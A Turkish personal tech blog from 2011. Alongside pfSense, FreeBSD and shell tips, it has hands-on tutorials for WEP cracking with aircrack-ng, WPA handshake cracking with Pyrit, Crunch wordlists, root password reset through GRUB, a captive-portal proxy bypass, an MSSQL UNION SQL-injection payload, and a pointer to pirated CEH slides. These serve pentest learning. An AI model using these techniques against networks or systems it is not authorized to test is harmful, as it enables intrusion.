-rw-r--r--  1 root  wheel     0B Aug 10 09:50 harun.txt
[2.0-RC3][root@pfSense.localdomain]/root(29): rm -rf harun.txt 
rm: harun.txt: Operation not permitted
[2.0-RC3][root@pfSense.localdomain]/root(30): chflags noschg harun.txt 
[2.0-RC3][root@pfSense.localdomain]/root(31): rm -rf harun.txt 
[2.0-RC3][root@pfSense.localdomain]/root(32): ls harun.txt
ls: harun.txt: No such file or directory 
 
Daha fazla bilgi için CHFLAGS(1) man sayfasına bakabilirsiniz.

8 Ağustos 2011 Pazartesi

Resident Evil 5

Bir süredir uygun bulduğum her fırsatta Resident Evil 5 oyunuyla meşgul olarak stres atıyorum. Düzeltiyorum. Bir süredir Resident Evil 5 oyunuyla strese giriyorum. Zira oyyun oynamaktan anlamayan odun ruhlu birisi değilseniz oyun sizi epeyce gerebiliyor...

Oynanabilirlik ve aksiyon Resident Evil 4 e göre çok daha iyi durumda. En azından fare desteği eklenmiş. Böylece hareket etmek ve nişan almak için farenizi kullanabiliyorsunuz. Bu PC oyuncuları için çok güzel bir gelişme...

Diğer yandan eski serilerdeki alengirli bulmacalar yerini daha yüksek aksiyona bırakmış. Oyun daha çok "önüne geleni vur" oyunu tarzında olmuş. Resident Evil 4 kadar zorlu olmamış ancak oldukça keyifli...

Oyunda eski karakterlerden biri olan Chris Redfield ı canlandırıyoruz. Bu kez yanımızda Sheva isimli oldukça alımlı koyu esmer bir bayan partnerimiz oluyor. Üstelik arbede sırasında ciddi anlamda yardımcı oluyor ve tam anlamıyla "nazik poponuz koruyor".

Oyun şekli olarak tekli ve çoklu oyuncu desteğinin olması ise oyuna bambaşka bir boyut katmış. Böylece bir arkadaşınızla birlikte gerilim dolu bir hayatta kalma mücadalesine girebiliyorsunuz...

22 Temmuz 2011 Cuma

Ubuntu, Aireplay-ng, Atheros AR9285, mon0 Channel -1 Problemi

Bir süre önce kullandığım Intel 4965 kablosuz ağ kartı ile "Channel -1" sorunu yaşadığımı ve bu sorunu çözmek için neler yaptığımı yazmıştım. Aireplay-ng ile paket sokuşturma yapmaya çalıştığımda aireplay-ng aşağıdaki hatayı veriyor ve çalışmıyordu.

21:09:28  mon0 is on channel -1, but the AP uses channel 1 

Daha sonra emektar dizüstü bilgisayarımın ekran sorunları nedeniyle yeni bir makine almak zorunda kaldım. Tabii doğal olarak yeni makine (Asus N53SN) yeni bir kablosuz ağ arabirimi (Atheros 9285) demekti.

root@gondor:~# lspci | grep Wireless
03:00.0 Network controller: Atheros Communications Inc. AR9285 Wireless Network Adapter (PCI-Express) (rev 01)


Aynı sorunu bu kez "AR9285 Atheros wireless network adapter" için çözmek zorunda kaldım. Aynı şeyleri Intel 4965 için daha önce de yazdığımdan, bu kez yapılacakları kısaca özetliyorum.

İlk olarak yeni sürücümüzü indirilerim wireless.kernel.org adresinden indirelim ardından da gerekli yamaları indirip sürücü kaynak kodlarına yama yapalım.


root@gondor:~# wget http://wireless.kernel.org/download/compat-wireless-2.6/compat-wireless-2011-06-01.tar.bz2
root@gondor:~# wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
root@gondor:~# wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
root@gondor:~# tar jxvf compat-wireless-2011-06-01.tar.bz2
root@gondor:~# cd compat-wireless-2011-06-01
root@gondor:~/compat-wireless-2011-06-01# patch -p1 < ../mac80211.compat08082009.wl_frag+ack_v1.patch
root@gondor:~/compat-wireless-2011-06-01# patch -p1 < ../channel-negative-one-maxim.patch
root@gondor:~/compat-wireless-2011-06-01# make
root@gondor:~/compat-wireless-2011-06-01# make install
root@gondor:~/compat-wireless-2011-06-01# make unload
root@gondor:~/compat-wireless-2011-06-01# reboot


Bilgisayarınız yeniden başladığında kablosuz ağ sürücünüz düzgün şekilde çalışıyor olmalı. Bu aşamadan sonra meydana gelebilecek olası kanal seçme sorunaları için daha önceki yazıma göz atmanız faydalı olabilir.

15 Temmuz 2011 Cuma

CEH v7 Slaytları

CEH v7 için hazırlanan slaytlar, uzun süredir torrentler ve dosya paylaşım sitelerinde dolaşıyor olsa da DRM korumalı olduğundan içeriğine erişilemiyordu.

Birileri CEH v7 slaytlarının muhtemelen ekran görüntülerini alıp sunum haline getirmiş ve DRM koruması olmaksızın yayımlamış. İgilenenler küçük bir google / torrent aramasıyla temin edebilir.

Not: DRM ve benzeri konular için Richard Stallman tarafından yazılan ve http://www.belgeler.org/howto/bilgisayariniza-guvenebilir-misiniz.html adresinden Türkçe çevirisine erişebileceğiniz "Bilgisayarınıza Güvenebilir Misiniz?" makalesini okuyabilirsiniz.

pfSense Captive Portal + Squid Bypass Problemi

pfSense üzerinde gelen Captive Portal, kullanıcıların internete erişimini engelleyen ancak kullanıcı adı ve parolası ile oturum açan kullanıcıların internetene çıkmasını sağlayan bir uygulamadır...

Standart olarak pfSense üzerinde Squid paketi bulunmadığından Captive Portal kullanımında sıkıntı yaşanmaz. Ancak sistem yöneticileri pfSense üzerine Squid Proxy paketini kurduklarında pek fark edilmeyen küçük bir problem ortaya çıkar.

Herhangi bir kullanıcı Squid servisinin çalıştığını fark eder ve web tarayıcısındaki vekil sunucu (proxy) ayarlarını değiştirerek Captive Portal uygulamasını aşağıdaki videoda görüldüğü gibi atlatabilir.

6 Temmuz 2011 Çarşamba

PHP Error Reporting

PHP kodu yazıyorsanız ve yaptığınız hatalar, php.ini dosyasında display_errors off olduğu için yüzünüze vurulmuyorsa bu durum çok can sıkıcı oluyor. Zira web sunucusu nerede yanlış yaptığınızı yüzünüze söylemek yerine gidip arkanızdan log dosyasına falan yazıyor :)

Böyle durumlarda web sunucunu delikanlı olup yüzünüze karşı konuşmaya ikna etmek için ini_set ile display_errors ayarını On yapmak gerekiyor...

ini_set('display_errors','On');
ini_set('error_reporting', E_ALL);
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

Bu error_report olayını bu kadar abartıp web sunucunu kişiselleştirerek sorun haline neden getirdim bende bilmiyorum. Ama olurda lazım olursa böyle bir vukuaatımız var. Ahanda yazdım buraya... :)

5 Temmuz 2011 Salı

Bash For While Deyimi

Linux komut satırındaki en güzel özellik, Linux komut satırının programlanabilir olmasıdır. Basit bir for döngüsü aşağıdaki gibi yazılabilir.

harun@gondor:/tmp$ for ((i=0;$i<10;i=$i+1)); do echo $i; done;

Benzer şekilde bir while döngüsü yazmak da mümkün;

harun@gondor:/tmp$ i=0;while(($i<10));do echo $i; i=$(($i+1));done;

1 Temmuz 2011 Cuma

Checking configuration files for slapd

ldap servisi "Checking configuration files for slapd:" gibi bir hata mesajı vererek bekliyor ve bir türlü başlamıyorsa aşağıdaki yöntem denenebilir.

db_recover -h /var/lib/ldap 
chown -R ldap:ldap /var/lib/ldap 
service ldap start

29 Haziran 2011 Çarşamba

Traceroute Çıktısında Görünmeyen PfSense

pfsense 2.0 RC3 sürümü üzerinden internete çıkıyorsanız traceroute yaptığınızda aradaki pfsense makinenizin traceroute çıktısında görünmemesi gibi garip bir durumla karşılaşabilirsiniz.

Aşağıdaki çıktıda  192.168.1.1 IP adresli pfSense görünmüyor.

harun@gondor:~$ traceroute 8.8.8.8
traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets
 1  10.0.0.254 (10.0.0.254)  3.032 ms  3.832 ms  7.167 ms
 2  78.173.128.1 (78.173.128.1)  11.236 ms  11.245 ms  11.242 ms
 .....
10  209.85.249.162 (209.85.249.162)  86.819 ms * *
11  google-public-dns-a.google.com (8.8.8.8)  85.062 ms  86.394 ms  68.298 ms


Yukarıdaki çıktıyı ilk gördüğümde ilk önce "nasıl yani?" tepkisini vererek gerçekten pfsense üzerinden geçip geçmediğimi kontrol ettim. Daha sonra ise pfSense üzerinden geçtiğim halde neden cihazın trace çıktısında görünmediğini araştırmaya başladım...

Mesele pfSense'in LAN bacağındaki firewall kuralından kaynaklanıyormuş. Kural "Policy based routing" yaptığı için aradaki pfSense cihazı traceroute çıktısında görünmüyormuş...

"Default allow LAN to any rule" firewall kuralını düzenleyerek "Advanced features" kısmındaki "Gateway" seçeneğini "default" değerne çekmeniz gerekiyor. Böylece araya koymuş olduğunuz pfsense cihazı traceroute çıktınızda aşağıdaki gibi görünecektir.

harun@gondor:~$ traceroute 8.8.8.8
traceroute to 8.8.8.8 (8.8.8.8), 30 hops max, 60 byte packets
 1  192.168.1.1 (192.168.1.1)  2.722 ms  2.432 ms  2.167 ms
 2  10.0.0.254 (10.0.0.254)  3.032 ms  3.832 ms  7.167 ms
 3  78.173.128.1 (78.173.128.1)  11.236 ms  11.245 ms  11.242 ms
 .....
11  209.85.249.162 (209.85.249.162)  86.819 ms * *
12  google-public-dns-a.google.com (8.8.8.8)  85.062 ms  86.394 ms  68.298 ms

MMS Video Download

Webde dolaşırken görüp beğendiğiniz ama nasıl indirsem diye düşündüğünüz mms:// videoları için mplayer güzel bir çözüm. Tek yapmanız gereken aşağıdaki gibi bir komut vermekten ibaret.

harun@gondor:~$ mplayer -dumpstream video_adresi

Yukarıdaki  komutu verdiğinizde mplayer videoyu ekranda oynatmak yerine stream.dump adıyla bir dosyaya yazacaktır. Bir yandan indirip bir yandan izlemek isterseniz aşağıdaki gibi bir komutla ikinci bir mplayer çalıştırabilirsiniz...

harun@gondor:~$ harun@gondor:~$ mplayer stream.dump

Mplayer yazılımını dağıtımınızn paket deposundan veya http://www.mplayerhq.hu adresinden mplayer indirerek kurabilirsiniz...

Önemli Not: Bu özelliği kullanırken telif haklarını ihlal etmediğinizden emin olun :)

Captive Portal Ek Özellikler

PfSense üzerinde gelen Captive Portal özelliği hot spot çözümü olarak kullanılabilecek güzel bir özelliktir. Captive Portal, kablosuz ağınıza dahil olan kullanıcıların tüm internet erişimlerini engeller ve web sayfalarına erişmek isteyen kullanıcılara bir karşılama ekranı getirerek oturum açmalarını ister.

İnternete erişmek isteyen kullanıcı, kendisine ait kullanıcı adı ve parolası ile oturum açarak internet erişimi sağlayabilir. Bu nedenler kafeler, oteller ve benzeri yerler ile misafirlerini kendi yerel ağlarına bağlamak istemeyen şirketler için oldukça güzel bir çözümdür. Ancak hali hazırda var olan özellikleriyle Captive Portal yeterince kullanışlı değildir.

Bu nedenle  PfSense üzerinde bir şeyler yazmam ve sistemi modifiye etmem gerekmişti. Bu çalışma sırasında aşağıdaki özellikler sisteme eklemiştim...
  • Captive Portal da kullanıcı hesapları açabilen ancak sistemin geri kalan ayarlarına ulaşamayan bir sınırlı kullanıcı hesabı.
  • Saat sınırlamalı kullanıcı hesabı açılabilmesi ve süresi dolan kullanıcının oturumunun sonlandırılarak hesabın devre dışı bırakılması.
  • Grup olarak toplu kullanıcı açılması.
  • Kullanıcının bir formdan kayıt olması ve hesap bilgilerinin SMS ile cep telefonuna gönderilmesi.
  • Kullanıcın bir form üzerinden kimlik bilgileriyle kayıt olması ve TC Kimlik Numarasının nvi.gov.tr den kontrol edildikten sonra hesabın otomatik olarak açılması.
  • SMS ve TC Kimlik no ile kimlik doğrulamanın birlikte kullanılması.
  • Kullanıcıların parola değiştirebilmesi ve ilk oturum açışlarında parola değiştirmeye zorlanması.
  • Parolamı Unuttum seçeneği ile parola sıfırlama ve yeni parolanın SMS ile cep telefonuna gönderilmesi.
  • Üçüncü parti yazılımların Captive Portal üzerinde kullanıcı hesabı açıp kapatabilmeleri için bir API.
  • Multiwan ağlarda kullanıcının hangi WAN üzerinden çıkacağının seçilebilmesi.
  • Ttarih, kullanıcı adı, ip, mac gibi bilgilerin olduğu özelleştirilmiş log tutma sistemi.
Karşılama Ekranı

Misafirleri yukarıdakine benzer bir karşılama ekranı karşılar. Kullanıcı "SMS ile Kayıt Ol" seçeneğini seçtiğinde karşısına SMS kayıt formu gelecektir. Bu ekrandaki butonlar parametrik olup yönetim arayüzünden yapılan ayarlara göre otomatik olarak görünür veya kaybolurlar.

SMS Kayıt Formu

Bu form doldurulduğunda; kimlik bilgileri nvi.gov.tr (Nüfus ve Vatandaşlık İşleri Genel Müdürlüğü) adresinden kontrol edilir ve bilgiler doğru ise bir kullanıcı hesabı yaratılır ve bu hesabın parolası SMS ile kullanıcının cep telefonuna gönderilir. Kimlik doğrulama özelliği istenirse kapatılabilir.


SMS Ayarları



Yönetim arayüzünden SMS ayarları kolaylıkla yapılabilir. Burada SMS modülünün açık veya kapalı olacağı, SMS ile kullanıcı kaydı sırasında kimlik bilgilerinin doğrulanıp doğrulanmayacağı, SMS göndermede kullanılacak servis sağlayıcı bilgileri, SMS olarak gidecek metin, üretilecek parolanın uzunluğu ve karmaşıklığı ve SMS ile açılan hesaplar için ön tanımlı zaman sınırı buradan ayarlanabilir.

Parola Sıfırlama
Bu özellik Kimlik bilgileri doğrulama ve SMS modülü ile birlikte çalışır. Kullanıcı, parola sıfırlama formunu doldurduğunda, yeni parolası sistemde kayıtlı olan cep telefonuna SMS olarak gönderilir. Bu özellik yönetim arayüzünden açılıp kapatılabilir.

 Çevrim İçi Kayıt Formu


Kullanıcı kayıt işleminin otomatize edilmesini istediğiniz durumlar için "Çevrim İçi  Kayıt Formu" yönetim arayüzünden aktif edileblir.

Kullanıcı bilgileri nvi.gov.tr adresinden doğrulanarak kullanıcı hesabı oluşturulur. İstenirse kimlik doğrulama özelliği kapatılabilir.


Captive Portal İçin Kısıtlı Kullanıcı
Captive Portal için kullanıcı hesabı açıp kapatacak ancak sistemin diğer ayarlarına müdahale edemeyecek bir kullanıcı hesabı oluşturulmuştur. Böylece misafirlerinize hesap açacak personelin diğer ayarları değiştirme ihtimali ortadan kaldırılmıştır.

Kullanıcı Grubu Eklemek
Otel ve benzeri yerlerde gelen kafileler için otomatize edilmiş şekilde kullanıcı hesabı açılabilir. Yönetim arayüzünden grubun adını, gruptaki kişi sayısını ve süreyi seçmek yeterlidir. Çok sayıda kullanıcı hesabı otomatik olarak üretilir. Süresi dolan gruplar ve gruba üye hesaplar otomatik olarak silinir.



Zaman Sınırlı Kullanıcılar
Standart olarak kullanıcı hesaplar günlük olarak açılabiliyordu. Biraz kodlarla uğraştıktan sonra, kullanıcı hesapları gün, saat, dakika, sn gibi zaman sınırları olmaksızın açılabilir hale geldi.



Biraz uğraşırsanız özgür yazılımların size pek çok nimet sunduğunu ama bu nimetlerin her zaman hazır olarak önünüze konmayacağını hatırlamak gerekiyor.

Özetle; elleriniz kirletmekten korkmuyorsanız pek çok şeyi yapmanız mümkün olabilir...

28 Haziran 2011 Salı

FreeBSD Dansguardian Kurulumu

FreeBSD 8 üzerinde dansguardian kurulumu yapmak için ilk olarak pcre paketini kuralım.

pkg_add -rv pcre
#Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8.1-release/Latest/pcre.tbz

Ardından pkg-config paketini kuralım.
pkg_add -rv pkg-config
#Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-8.1-release/Latest/pkg-config.tbz...Waiting for final status

Şimdi dansguardian indirelim...
fetch http://dansguardian.org/downloads/2/Stable/dansguardian-2.10.1.1.tar.gz

İndirdiğimiz dosyayı distfiles a kopyalalım. Dansguardian ticari olduğu için port aracı, kendisi indirmiyor. İndirme işlemini bizim yapmamızı istiyor.

cp /root/dansguardian-2.10.1.1.tar.gz /usr/ports/distfiles/

Dansguardian için port ağacına gidelim...

cd /usr/ports/www/dansguardian

Dansguardian'ı derleyip sisteme kurmak için

make & make install

Port ağacından derleyip dansguradian paketi oluşturmak için ise

make package 

SQL Enjeksiyonunda Kayıt İlerletme

Bir pentest çalışması sırasında MSSQL kullanan bir web uygulamasında SQL Enjeksiyonuna sebebiyet verecek bir girdi doğrulama/filtreleme zaafiyet keşfettim. Web uygulaması muhtelif SQL sorgularını çalışıtrabiliyordu.

INFORMATION_SCHEMA.TABLES tablosundan, tablo isimlerini çekmeye çalıştığımda söyle bir sorunla karşılaştım. SQL sunucu WHERE deyimine yanıt vermiyordu.

Bu durumda SQL e biraz takla attırmam ve aşağıdakine benzer şekilde iç içe sorular kullanmam gerekti.

UNION ALL SELECT TOP 1 1,2,3,(select top 1 table_name FROM (select top 1 table_name from INFORMATION_SCHEMA.TABLES order by table_name ASC) sq order by table_name DESC),4,5,6  --
UNION ALL SELECT TOP 1 1,2,3,(select top 1 table_name FROM (select top 2 table_name from INFORMATION_SCHEMA.TABLES order by table_name ASC) sq order by table_name DESC),4,5,6  --

Bu sorgulardan en içteki select deyimi, top X ifadesi ile tablonun başından X kaydıartan artan sıralamada çekiyor. Bunın dışındaki select deyimi ise ilk sorgunun döndürdüğü kayıtlar içerisinden azalan sıralamada en üstteki kaydı çekiyor. Böylece en içteki sorguda top 1, top 2, top 3 gibi değişiklikler yaparak tablo içerisindeki kayıtlarda adım adım ilerleyebiliyoruz.

27 Haziran 2011 Pazartesi

Bir Saldırı Hikayesi

Web sunucularımız üzerinde muhtelif betik dilleriyle yazılmış olan web uygulamaları çalıştırıyoruz. Genellikle çalışan web uygulamalarının iyi niyetli olmasından dolayı web sunucularımız genellikle standar kurulduğu halde kalıyor. Özel bir yapılandırma veya güçlendirme yapmaksızın kullanıcıların sunucularımza dosya yüklemesine ve çalıştırmasına izin veriyoruz. Buradaki önemli soru web sunucularımızda çalışacak olan PHP, ASP, Python gibi betiklerin neler yapabileceği...

19 Haziran 2011 Pazar

Pyrit ile WPA/WPA2 Kırmak İçin Ekran Kartınızı Kullanın

Pyrit WPA/WPA2-PSK parolalarını kırmak için geliştirilmekte olan bir yazılımdır. En önemli özelliği CPU'ya ek olarak Nvdia ve Ati ekran kartlarının grafik işlemcilerini kullanarak parola kırma işlemi yapmasıdır. Özellikle yeni nesil gelişmiş ekran kartlarıyla oldukça iyi performans verebilir.


Pyrit http://code.google.com/p/pyrit/ indirilebilir ve yine aynı adresten ulaşabileceğiniz kurulum belgesiyle kolaylıkla kurulabilir.  Ubuntu 11.04 üzerine kurulum yaparken bir sıkıntı yaşamadım . Bu nedenle kurulum işlemlerini bir kez de ben tekrarlamıyorum. Kurulum belgesini takip edebilirsiniz.

Pyrit kurulumundan sonra, pyrit list_cores komutuyla sisteminizdeki  kullanılabilir işlemcileri listeleyebilirsiniz.

harun@gondor:~$ pyrit list_cores
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

The following cores seem available...
#1:  'CUDA-Device #1 'GeForce 8400M G''
#2:  'CPU-Core (SSE2)'

Yukarıdaki çıktıda görüldüğü gibi benim bilgisayarımda, biri GeForce 8400M GPU, diğeri de SSE2 komut setine sahip normal işlemcim olmak üzere iki işlemcim varmış. Listelenen bu iki işlemci pyrit tarafından kullanılabilir durumda.

Şimdi WPA şifreli olarak yakalanan bir pcap dosyası üzerinde çalışalım ve bu WPA şifresini kırmayı deneyelim. İlk adım olarak analyze parametresi ile yakaladığımız dosyayı analiz edelim.

root@gondor:/home/harun# pyrit -r Seker.pcap analyze

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'Seker.pcap' (1/1)...
Parsed 5 packets (5 802.11-packets), got 1 AP(s)

#1: AccessPoint 00:a0:c5:98:1f:f9 ('Seker'):
  #1: Station 00:50:56:c0:00:08, 1 handshake(s):
    #1: HMAC_SHA1_AES, good, spread 1

Yukarıkdaki çıktıya göre Seker isimli kablosuz ağ için yakalanmış bir hanshake söz konusu. Bu handshake verisine uyan anahtarı bulmak için bir parola listesindeki tüm parolaları tek tek denememiz gerekiyor.

Bunun için içerisinde 1 ila 8 karakter uzunluğunda rakamlardan oluşan parolaların bulunduğu parola.txt dosyasını kullanacağım. Aşağıdaki gibi bir komutla attack_passthrough parametresini kullanarak parola kırma sürecini başlatalım.

root@gondor:/home/harun# pyrit -r Seker.pcap -i parola.txt -b 00:a0:c5:98:1f:f9 attack_passthrough

Pyrit 0.3.0 (C) 2008-2010 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'Seker.pcap' (1/1)...
587 packets (587 802.11-packets), 1 APs

Tried 4091 PMKs so far; 935 PMKs per second.

The password is '67345698'.  

Pyrit oldukça hızlı bir şekilde deneme yaparak parola listesindeki uygun parolayı bulmayı başardı.

Pyrit kullanmak istediğinizde yaşayabileceğiniz önemli sorunlardan bir tanesi GPU kullanmaya çalışan sürecin durması ve aşağıdaki gibi hata vermesi olabilir.

SystemError: The core 'CUDA-Device #1 'GeForce 8400M G'' has died unexpectedly

Böyle bir durumda Xorg ayarlarında ekran kartı sürücünüzü nvidia dan nv ye çekmeniz işe yarayabilir. En kötü ihtimalle grafik ortamı kapatarak (Ubuntu için gdm servisini durdurarak) pyrit kullanmak olabilir.

18 Haziran 2011 Cumartesi

WEP Neden Kolay Kırılır?

WEP şifreleme yöntemi havada uçuşan ve bizim için önemli olan verilerimizi şifrelemek için 40 bitlik gizli anahtar ve açık olmasına rağmen sürekli değişen 24 bitli IV ( Initialization Vector) değerlerini kullanır. Yani standart olarak WEP, 64 bitlik bir şifreleme sağlamaktadır. Şifreleme için ise RC4 simetrik şifreleme algoritması kullanır...

Genellikle kablosuz ağ cihazı üreticileri, 40 bitlik şifreleme anahtarı yerine 104 bitlik şifreleme anahtarı kullanmayı tercih ederler. Bu durumda WEP, 128 bitlik şifreleme yeteneğine sahip olur...

 WEP türleri ve kullanılan anahtar uzunlukları aşağıdaki tabloda verilmiştir.

TürAnahtar UzunluğuHex Uzunluğu ASCII Uzunluğu
64 Bit40 Bit105
128 Bit 104 Bit2613
256 Bit232 Bit5829

WEP için şifreleme işlemi şu şekilde işlemektedir.
1- Gizli Anahtar + IV
2- Gizli Anahtar + IV toplamı RC4 ile şifrelenir.
3- Elde edilen RC4 çıktısı ile gönderilmek istenen veri XOR işlemine tabi tutulur.

Bu aşamadan sonra veri özgürce havada dolaşmaya başlar. Ancak bu noktada şöyle bir sıkıntı söz konusudur. Bir bilgiyi başka bir bilgi ile art arda iki defa XOR işlemine tabi tuttuğumuzda en baştaki bilgiyi elde ederiz...
A=Göndermek istediğimiz bilgi
B=IV+Gizli Anahtar

A XOR B = Kodlanmış Bilgi
B XOR B = I ( Etkisiz Eleman )
A XOR I = A
A XOR B XOR B = A XOR ( B XOR B ) = A  XOR  I = A
Yani yeteri kadar paket toplamayı başarırsak, sonlu sayıdaki IV numaraları tekrar edeceklerdir. Bu durumda yukarıda bahsi geçen sihirli formülün de uygulanmasıyla kablosuz ağın şifresi hesaplanabilir... Bu nedenle WEP şifresini kırmak için çok sayıda IVs numarası toplamamız gerekmektedir.

Aircrack ile WEP Crack

İlk olarak airmon-ng aracıyla wlan0 kablosuz ağ arayüzünden, dinleme ve paket sokuşturma işlemleri için kullanacağımız mon0 isimli sanal ağ arayüzünü oluşturalım.

airmon-ng start wlan0

Bu komutun ardından ekran çıktısı aşağıdaki gibi olacaktır...



Dinleme ve paket sokuşturma işlemlerini yapacağımız mon0 arayüzü oluştuğuna göre şimdi etrafımızdak kablosuz ağları tespit edelim. Bunun için airodum-ng aracını aşağıdaki gibi kullanabiliriz.

airdump-ng mon0


airodump-ng yukarıkdakine benzer şekilde çevrenizdeki kablosuz ağları listeleyecektir. Benim örneğimde yalnızca evde kullandığım kablosuz ağım yer alıyor. Dolayısıyla hedefdeki kablosuz ağ Seker isimli WEP şifreli kablosuz olacak...

Hedef ağı tespit ettikten sonra Ctrl+C tuş kombinasyonuyla airodump-ng aracını durduralım ve daha sonra yalnızca hedef ağı dinleyecek şekilde tekrar başlatalım.

airodump-ng -c 6 --bssid 00:a0:c5:98:1f:f9 -w Seker mon0

Bu komut -c parametresi ile 6. kanalı, --bssid parametresi ile MAC adresi verilen kablosuz ağ noktasını dinleyecek ve -w parametresi ile belirtilen Seker dosyasına yakalanan paketleri kayıt edecektir. Tüm paketleri kayıt etmek istemezseniz --ivs parametresi ile yalnızca ivs verilerini kayıt edebilirisiniz.


Şimdi başka bir konsolda aireplay-ng aracın kullanarak "fake authentication" isteği gönderelim.

aireplay-ng -1 0 -e Seker mon0


Yukarıdaki resimde gördüğünüz gibi "Association successful :-) (AID: 1)" mesajını gördüğümüzde hedef ağda trafik oluşturarak paket toplamamız gerekiyor.

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:a0:c5:98:1f:f9 rausb0

Yukarıdaki komutla interaktif modda dinleme yapacak ve daha sonra yakalanan uygun bir paket hedef ağa gönderilerek paket toplama işlemine devam edilecektir.


Resimde görüldüğü gibi uygun bir paket yakaladığınızda "y" diyerek paketin hedef ağa enjekte edilmesini sağlayabilirsiniz. Bu şekilde yaratılan trafikle IVS verisi toplayabiliriz.


airepla-ng ile hedef ağa gönderdiğimiz paketlerin hedefe ulaşıp ulaşmadıklarını diğer konsolda açık bıraktığımız airodump-ng ile anlayabiliriz. #DATA olarak gösterilen değerin hızla artıyor olduğunu görmelisiniz.

Yeteri kadar paket topladıktan sonra aşağıdaki gibi bir komutla aircrack-ng yazılımızı çalıştırarak WEP şifresini kırmaya çalışalım.

aircrack-ng Seker-01.cap 

Yukarıdaki komutu verdiğimizde, yakalamış olduğumuz paketlerde yer alan IVS değerlerine bakılarak WEP anahtarı hesaplanmaya çalışacaktır. Elinizde yeteri kadar IVS değeri var ise WEP anahtarı hesaplanabilir. Bu hesaplama sonunda aircrack-ng aşağıda görüldüğü gibi hedef ağın WEP anahtarını size taktim edecektir.


Bu aşamadan sonra bulunan anahtar kullanılarak hedef ağa bağlanılabilir...

16 Haziran 2011 Perşembe

Linux Root Password Sıfırlama

Linux makinenizin root parolasın unuttuğunuzda ne olur? Cevap basit büyük sıkıntı olur.

Bu gibi durumlarda makineye fiziksel erişiminiz varsa grub menüsünde küçük bir düzenleme yaparak sistemi açabilir ve root parolasını değiştirebilirsiniz.


Öncelikle sistemi yeniden başlatalım. Yukarıdaki gibi grub menüsü geldiğinde klavyeden "E" tuşuna basarak düzenleme moduna geçelim. Karşımıza aşağıdaki gibi bir menü gelecektir...
 Yukarıdaki menüde işaretlenmiş olan "ro quiet" ifadesini silerek, aşağıda görüldüğü gibi "rw init=/bin/bash" şekline getirelim.
Açılış parametresi olarak "rw init=/bin/bash" değerini eklediğimize göre CTRL+X tuş kombinasyonunu kullanalım ve sistemin açılışını izleyelim. Sistem açıldığında passwd komutu ile root parolamızı değiştirebiliriz.

passwd komutu kullanıcı hesaplarının parolalarını değiştirmek için kullanılan komuttur. "Enter new UNIX password" diyerek sizden yeni parolanızı girmenizi isteyecektir. "Retype new UNIX password" diyerek aynı parolayı ikinci kez yazmanızı ister ve sonrasında "passwd: password updated successfully" mesajını gördüğünüzde parolanız değiştirilmiş demektir. Artık sistemi yeniden başlatabilirsiniz...

Olur da aşağıdaki gibi  "Authentication token manipulation error / Password unchanged" hatası alırsanız bu diskin readonly bağlanmış olmasından kaynaklanabilir.

Yukarıda görüldüğü gibi "mount / -o remount,rw" komutunu kullanarak kök dizini okuma yazma yetkileriyle bağlayabilirsiniz. Daha sonra ise passwd komutunu kullanarak parola sıfırlama işlemini yapabilirsiniz...

Yukarıda bahsedilen yöntemlerin işe yarayabilmesi için makineye fiziksel erişim söz konusu olmalı ve grub açılış yöneticisinin düzenlemeye izin veriyor olması gereklidir.

Genellikler grub menüsüne parola koyulmasa da Grub parolası olması durumda sistemi bir live cd ile boot etmek gerekebilir. Tabii sistemi cdrom aygıtından başlatabilmek için de bios erişimi yetkilerine sahip olmanız gerekecektir... :)

13 Haziran 2011 Pazartesi

Crunch ile Wordlist Oluşturmak

Crunch seçilen karakter kümesinden, istenilen uzunlukta parolalar üreten ve bu parolaları bir dosyaya yazarak wordlist oluşturan kullanışlı bir araçtır. Çalışmak için özel bir yetkiye ihtiyaç duymaz. Yalnızca derlenip çalıştırılması yeterlidir. Çalıştığında istenilen karakter kümesinden parolalar üretir ve bir dosyaya yazar.
Oldukça hızlı çalışır ve kolay kullanılır.



Crunch Kurulumu
Öncelikle crunch yazılımını indirelim.
harun@gondor:~$ wget http://garr.dl.sourceforge.net/project/crunch-wordlist/crunch-wordlist/crunch-3.0.1.tgz

İndirme işlemi bittikten sonra crunch-3.0.1.tgz arşivini açalım.

harun@gondor:~$ tar zxvf crunch-3.0.1.tgz 
crunch3.0/
crunch3.0/Makefile
crunch3.0/GPL.TXT
crunch3.0/crunch.1
crunch3.0/charset.lst
crunch3.0/crunch.c
Arşivin açılmasıyla oluşan crunch3.0/ dizinine geçelim ve ardından make komutunu vererek derleme işlemini başlatalım.
harun@gondor:~$ cd crunch3.0/
harun@gondor:~/crunch3.0$ make
Building binary...
/usr/bin/gcc -Wall -lm -pthread -std=c99 -m32 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 crunch.c -o crunch
Kısa bir derleme işleminden sonra crunch yazılımı çalışmaya hazır hale gelecektir. Bu aşamadan sonra istenirse make install komutu ile derlenen yazılım sisteme kurulabilir. make install komutunu verdiğinizde crunch yazılımı, Backtrack dağıtımındaki gibi /pentest/passwords/crunch dizini altına yerleştirilecektir.

Ben sisteme kurulum yapmak yerine derleme yaptığım dizinden çalıştırmayı tercih ediyorum. Bu nedenle make install komutu vermedim.

Genel Kullanım Şekli
./crunch [min uzunluk] [max uzunluk] [karakter seti] -o [dosya adı]
Örneğin 0123456789 karakter setinden 1 ve 4 karakter aralığında parolalar üretmek için crunch aşağıdaki gibi kullanılabilir.
harun@gondor:~/crunch3.0$ ./crunch 1 4 0123456789 -o ornek1.txt
Crunch will now generate the following amount of data: 54320 bytes    0 MB    0 GB
Crunch will now generate the following number of lines: 11110 
